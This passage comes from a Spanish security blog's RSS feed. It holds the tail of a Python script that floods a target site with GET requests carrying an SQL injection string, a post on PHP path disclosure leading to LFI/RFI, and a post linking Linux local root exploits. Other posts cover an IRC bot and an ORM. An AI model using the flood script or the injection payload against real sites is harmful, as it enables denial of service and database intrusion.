<div class="de2"><span class="kw1">def</span> attack<span class="br0">&#40;</span><span class="br0">&#41;</span>:&nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">#pid = os.fork()</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="nu0">80</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;&gt;&gt; GET /&quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> + <span class="st0">&quot; HTTP/1.1&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;GET /&quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> + <span class="st0">&quot; HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;Host: &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> &nbsp;+ <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> i <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">10</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; attack<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.<br />
El uso del script es de la siguiente forma:<br />
<code>$ python DDoS.py www.pagina.com SQLi</code><br />
En <em>www.pagina.com</em> obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo &#8220;<strong>ver_productos.php?id=55&#8242; or &#8217;1&#8242;=&#8217;1</strong>&#8220;</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>¿Qué es una vulnerabilidad File/Path Disclosure?</title>
		<link>http://blog.zerial.org/seguridad/que-es-una-vulnerabilidad-filepath-disclosure/</link>
		<comments>http://blog.zerial.org/seguridad/que-es-una-vulnerabilidad-filepath-disclosure/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 03:24:51 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=545</guid>
		<description><![CDATA[Una vulnerabilidad del tipo File o Path Disclosure es cuando queda al descubierto la ruta de la aplicación o script en ejecución y de esta forma saber en que directorio especificamente se encuentra el sitio web. A simple vista parece ser inofensivo, pero cuando se necesita subir maliciosamente un archivo o descargar algo indevidamente, esto [...]]]></description>
			<content:encoded><![CDATA[<p>Una vulnerabilidad del tipo <strong>File</strong> o <strong>Path Disclosure</strong> es cuando queda al descubierto la ruta de la aplicación o script en ejecución y de esta forma saber en que directorio especificamente se encuentra el sitio web. A simple vista parece ser inofensivo, pero cuando se necesita subir maliciosamente un archivo o descargar algo indevidamente, esto es muy útil.</p>
<p><img class="aligncenter size-full wp-image-546" title="disclosure" src="http://blog.zerial.org/wp-content/uploads/2009/07/disclosure.jpg" alt="disclosure" width="250" height="178" /></p>
<p>Esta vulnerabilidad corresponde a un error de programación al no <em>atajar</em> correctamente los errores o excepciones, por ejemplo, uno de los casos mas frecuentes se da con la famosa función <em>include</em> o <em>requiere</em> (en php):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">&lt;?php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;section&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Es muy común ver en sitios web como se pasa por parámetro la sección, algo similar a http://sitio.cl/index.php?section=contacto, entonces el script index.php recibe la variable &#8220;section&#8221;, le agrega la extension .php y la incluye, pero &#8230;</p>
<p>¿Qué pasa cuando cambiamos <em>contacto</em> por letras al azar como <em>fdsghjk</em>?<br />
Fácil, la función <em>include</em> intentará incluir el archivo fdsghjk.php y como no existe, php mostrara un error parecido a <strong>Failed to open stream: No such file or directory in /home/web/public_html/index.php</strong> y con esto, ya tenemos la ruta donde se está ejecutando la aplicación: /home/web/public_html. De esta forma se nos facilita un ataque LFI o RFI.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fque-es-una-vulnerabilidad-filepath-disclosure%2F&amp;linkname=%C2%BFQu%C3%A9%20es%20una%20vulnerabilidad%20File%2FPath%20Disclosure%3F">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/que-es-una-vulnerabilidad-filepath-disclosure/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>ooPhBOT v1.0.5</title>
		<link>http://blog.zerial.org/proyectos/oophbot-v105/</link>
		<comments>http://blog.zerial.org/proyectos/oophbot-v105/#comments</comments>
		<pubDate>Tue, 26 May 2009 17:11:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[actualizacion]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[oophbot]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=269</guid>
		<description><![CDATA[Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde este link.]]></description>
			<content:encoded><![CDATA[<p>Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde <a href="http://blog.zerial.org/files/oophbot-1.0.5.tar.gz">este link</a>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/oophbot-v105/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Local root exploit en kernel 2.6.x (hasta la 2.6.29)</title>
		<link>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/</link>
		<comments>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/#comments</comments>
		<pubDate>Sun, 17 May 2009 23:45:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=287</guid>
		<description><![CDATA[El Viernes pasado se anunciaron, en la lista de seguridad de debian, actualizaciones para el kernel, que solucionaba varias vulnerabilidades. CVE-2009-0028 Chris Evans discovered a situation in which a child process can send an arbitrary signal to its parent. CVE-2009-0834 Roland McGrath discovered an issue on amd64 kernels that allows local users to circumvent system [...]]]></description>
			<content:encoded><![CDATA[<p>El Viernes pasado se anunciaron, en la lista de seguridad de debian, <a href="http://lists.debian.org/debian-security-announce/2009/msg00111.html" target="_blank">actualizaciones para el kernel</a>, que solucionaba varias vulnerabilidades.</p>
<blockquote>
<pre>CVE-2009-0028

    Chris Evans discovered a situation in which a child process can
    send an arbitrary signal to its parent.

CVE-2009-0834

    Roland McGrath discovered an issue on amd64 kernels that allows
    local users to circumvent system call audit configurations which
    filter based on the syscall numbers or argument details.

CVE-2009-0835

    Roland McGrath discovered an issue on amd64 kernels with
    CONFIG_SECCOMP enabled. By making a specially crafted syscall,
    local users can bypass access restrictions.

CVE-2009-0859

    Jiri Olsa discovered that a local user can cause a denial of
    service (system hang) using a SHM_INFO shmctl call on kernels
    compiled with CONFIG_SHMEM disabled. This issue does not affect
    prebuilt Debian kernels.

CVE-2009-1046

    Mikulas Patocka reported an issue in the console subsystem that
    allows a local user to cause memory corruption by selecting a
    small number of 3-byte UTF-8 characters.

CVE-2009-1072

    Igor Zhbanov reported that nfsd was not properly dropping
    CAP_MKNOD, allowing users to create device nodes on file systems
    exported with root_squash.

CVE-2009-1184

    Dan Carpenter reported a coding issue in the selinux subsystem
    that allows local users to bypass certain networking checks when
    running with compat_net=1.

CVE-2009-1192

    Shaohua Li reported an issue in the AGP subsystem they may allow
    local users to read sensitive kernel memory due to a leak of
    uninitialized memory.

CVE-2009-1242

    Benjamin Gilbert reported a local denial of service vulnerability
    in the KVM VMX implementation that allows local users to trigger
    an oops.

CVE-2009-1265

    Thomas Pollet reported an overflow in the af_rose implementation
    that allows remote attackers to retrieve uninitialized kernel
    memory that may contain sensitive data.

CVE-2009-1337

    Oleg Nesterov discovered an issue in the exit_notify function that
    allows local users to send an arbitrary signal to a process by
    running a program that modifies the exit_signal field and then
    uses an exec system call to launch a setuid application.

CVE-2009-1338

    Daniel Hokka Zakrisson discovered that a kill(-1) is permitted to
    reach processes outside of the current process namespace.

CVE-2009-1439

    Pavan Naregundi reported an issue in the CIFS filesystem code that
    allows remote users to overwrite memory via a long
    nativeFileSystem field in a Tree Connect response during mount.</pre>
</blockquote>
<p>Se publicaron dos exploits para explotar vulnerabildades de escalacion de provilegios local. Estos exploits se aprovechan de la funcion <em>ptrace_attach()</em> para ejecutar un <em>codigo arbitrario</em> que nos permita ejecutar una shell del tipo /bin/sh como root.<br />
El primer exploit es el <a href="http://blog.zerial.org/files/exploits/shoryuken.c"><strong>shoryuken</strong></a>, lo probé en distintas versiones del kernel de debian y archlinux, pudiendo ser explotada solo la version 2.6.26-1-686 de Debian 5.0, de forma aleatoria, es decir, hay veces que ejecuto el exploit y funciona y otras veces no. El <a href="http://blog.zerial.org/files/exploits/ptrace_attach.c">segundo script</a> fue probado por su autor en la version del kernel 2.6.29rc1 de <a href="http://www.gentoo.org" target="_blank">Gentoo</a>.<br />
Estos exploits funcionan bajo situaciones especificas y no todos los sistemas son vulnerables.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Saporm: Simple abstraccion de bases de datos</title>
		<link>http://blog.zerial.org/linux/documentacion/simpleorm-abstraccion/</link>
		<comments>http://blog.zerial.org/linux/documentacion/simpleorm-abstraccion/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 02:59:34 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=258</guid>
		<description><![CDATA[Hace un par de dias venia en el bus hacia mi casa y se me ocurrio una idea. Muchos pensara que ya existe esto que se me ocurrio, que existen frameworks, etc. Pero mi idea es hacer algo mas simple aun, se me ocurrio la idea de desarrollar un ORM (Object Relational Mapping) simple, que [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un par de dias venia en el bus hacia mi casa y se me ocurrio una idea. Muchos pensara que ya existe esto que se me ocurrio, que existen frameworks, etc. Pero mi idea es hacer algo mas simple aun, se me ocurrio la idea de desarrollar un ORM (Object Relational Mapping) simple, que me permita de manera sencilla abstraer la base de datos para poder trabajarla como objeto. Mientras veina en el bus, pensaba el modelo logico para llevar acabo esta idea, luego de unos dias por fin he podido empezar a codificar lo que será desde ahora en adelante: <strong>Saporm</strong>. Como Hibernate para Java o Doctrine para PHP, la idea de este ORM es hacer las cosas aun mas faciles y mi idea, principalmente, es orientarla a proyectos pequeños y no a <em>enterprise</em>.</p>
<p>La idea es que este ORM/Framework haga todas las tareas de consultas y accesos a la base de datos de manera mas simple, por ejemplo, en Saporm, para que el framework sea capaz de abstraer la base de datos solo hay que crear una clase con los atributos correspondientes, segun los campos que tenga la tabla de la base de datos.<br />
Por ejemplo, tenemos dentro del directorio &#8220;model&#8221; la siguiente clase:<br />
(<em>Usuarios.class.php</em>)</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">class</span> Usuarios <span class="kw2">extends</span> Core<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="coMULTI">/* Variables necesarias por el ORM, es necesario que se declaren */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">public</span> <span class="re0">$table_name</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="kw2">public</span> <span class="re0">$socket</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="coMULTI">/* Variables del usuario */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">public</span> <span class="re0">$id</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">public</span> <span class="re0">$username</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="kw2">public</span> <span class="re0">$password</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Saporm se encargará, automaticamente, de <em>mapear</em> la tabla &#8220;Usuarios&#8221; con sus atributos &#8220;id, username y password&#8221; y nos permitirá trabajarla como si de un objeto se tratara. La herramienta nos creara un objeto con el nombre Usuarios que contará con varios métodos y atributos, como por ejemplo:</p>
<blockquote><p>$usuarios-&gt;search();<br />
$usuarios-&gt;loadData();<br />
$usuarios-&gt;select();<br />
$usuarios-&gt;query();<br />
$usuarios-&gt;insert();<br />
$usuarios-&gt;update();<br />
&#8230;</p></blockquote>
<p><span id="more-258"></span><br />
Este framework será extendible a distintos motores de bases de datos, actualmente estoy desarrollandolo para MySQL y pienso exportarlo a PostgreSQL y a Oracle.<br />
Hasta el momento no llevo mucho programado, pero he hecho avances significativos, me pasé todo el día programando y mentalizando el modelo mental/lógico para lograr lo que busco. Saporm tiene las funcionalidades para precargar datos desde distintas tablas y para hacer una busqueda condicionada.</p>
<p>A continuación, un ejemplo de es la estructura básica para implementar Saporm:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> <span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Saporm.php&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Incluimos el fichero necesario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$SimpleORM</span>-&gt;<span class="me1">init</span><span class="br0">&#40;</span><span class="st0">&quot;mysql&quot;</span>, <span class="st0">&quot;root&quot;</span>, <span class="st0">&quot;123456&quot;</span>, <span class="st0">&quot;localhost&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Iniciamos y nos conectamos a una BD</span></div>
</li>
